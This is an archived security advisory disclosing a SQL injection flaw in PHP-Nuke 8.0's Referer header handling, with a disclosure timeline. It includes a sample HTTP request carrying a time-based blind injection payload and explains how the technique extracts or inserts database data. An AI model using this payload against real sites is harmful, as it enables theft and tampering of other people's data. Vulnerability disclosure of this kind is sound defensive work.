<<< Date Index >>>     <<< Thread Index >>>

PHP Nuke v.8.0 (referer) SQL Injection



PHP Nuke v.8.0 (referer) SQL Injection

Author: Gerendi Sandor Attila
Original advisory: 
http://gsasec.blogspot.com/2009/05/php-nuke-v80-referer-sql-injection.html
Date: May 14, 2009
Package: PHP-Nuke
Product homepage: http://phpnuke.org/
Versions Affected: v.8.0 (Other versions may also be affected)
Severity: High

The 'referer' header element when requesting the '/main/tracking/userLog.php' 
is not sanitized before it is used in an SQL query. This can be exploited to 
manipulate SQL queries by injecting arbitrary SQL code.

Description:

- Sample request:

GET http://somehost/PHP-Nuke-8.0/index.php HTTP/1.0
Accept: */*
referer: '+IF(False,'',SLEEP(5))+'

This will result in a query like:

INSERT INTO nuke_referer VALUES (NULL, ''+IF(False,'',SLEEP(5))+'')

and the result will arrive after 5 seconds, replacing the 'False' statement 
with conditional queries can be used to extract arbitrary data from the 
database. Also the injection can be used to insert arbitrary data into the 
'nuke_referer' table.

Status:
    1. Contacted the author at: May 14, 2009 via: 
http://phpnuke.org/modules.php?name=Feedback
    2. No response received (May 27, 2009)